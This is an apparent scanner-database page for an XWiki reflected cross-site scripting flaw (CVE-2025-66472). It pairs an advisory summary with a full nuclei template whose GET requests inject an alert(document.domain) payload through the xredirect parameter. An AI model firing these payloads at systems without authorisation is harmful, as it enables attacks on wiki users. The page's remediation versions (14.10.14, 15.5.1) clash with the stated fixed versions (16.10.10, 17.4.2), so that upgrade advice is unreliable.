Browse / CVEs / CVE-2025-66472
CVE-2025-66472· xwiki / xwiki· CWE-80
XWiki DeleteApplication - Cross-Site Scripting
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Versions 6.2-milestone-1 through 16.10.9 and 17.0.0-rc-1 through 17.4.1 of both XWiki Platform Flamingo Skin Resources and XWiki Platform Web Templates are vulnerable to a reflected XSS attack through a deletion confirmation message. The attacker-supplied script is executed when the victim clicks the "No" button. This issue is fixed in versions 16.10.10 and 17.4.2 of both XWiki Platform Flamingo Skin Resources and XWiki Platform Web Templates.
Impact
An attacker can execute arbitrary JavaScript in the victim's browser, leading to potential session hijacking, data theft, or further attacks.
Fix
Upgrade to XWiki 14.10.14, 15.5.1, 15.8-rc-1 or above. Do not interact with suspiciously crafted links.
How to confirm it
Send: GET {{BaseURL}}/bin/view/AppWithinMinutes/DeleteApplication?appName=Help.Applications.Contributors&resolve=true&xredirect=%2fbin%2fview%2fHelp%2fApplicat… ; GET {{BaseURL}}/xwiki/bin/view/AppWithinMinutes/DeleteApplication?appName=Help.Applications.Contributors&resolve=true&xredirect=%2fbin%2fview%2fHelp%2fAp…
Positive when: contains ";;alert(document.domain)//\"><input class=\"button secondary" and "onclick=\"location=" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2025-66472 -u <target>
The full check
id: CVE-2025-66472
info:
name: XWiki DeleteApplication - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Versions 6.2-milestone-1 through 16.10.9 and 17.0.0-rc-1 through 17.4.1 of both XWiki Platform Flamingo Skin Resources and XWiki Platform Web Templates are vulnerable to a reflected XSS attack through a deletion confirmation message. The attacker-supplied script is executed when the victim clicks the "No" button. This issue is fixed in versions 16.10.10 and 17.4.2 of both XWiki Platform Flamingo Skin Resources and XWiki Platform Web Templates.
impact: |
An attacker can execute arbitrary JavaScript in the victim's browser, leading to potential session hijacking, data theft, or further attacks.
remediation: |
Upgrade to XWiki 14.10.14, 15.5.1, 15.8-rc-1 or above. Do not interact with suspiciously crafted links.
reference:
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7vpr-jm38-wr7w
- https://nvd.nist.gov/vuln/detail/CVE-2025-66472
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-66472
epss-score: 0.00544
epss-percentile: 0.45996
cwe-id: CWE-80
metadata:
verified: true
max-request: 2
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2025,xwiki,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/bin/view/AppWithinMinutes/DeleteApplication?appName=Help.Applications.Contributors&resolve=true&xredirect=%2fbin%2fview%2fHelp%2fApplications%2fContributors%2f'%3balert(document.domain)%2f%2f"
- "{{BaseURL}}/xwiki/bin/view/AppWithinMinutes/DeleteApplication?appName=Help.Applications.Contributors&resolve=true&xredirect=%2fbin%2fview%2fHelp%2fApplications%2fContributors%2f'%3balert(document.domain)%2f%2f"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- ';;alert(document.domain)//"><input class="button secondary'
- 'onclick="location='
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200References
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7vpr-jm38-wr7w
- https://nvd.nist.gov/vuln/detail/CVE-2025-66472
Use this check only on systems you are authorised to test. Where the data comes from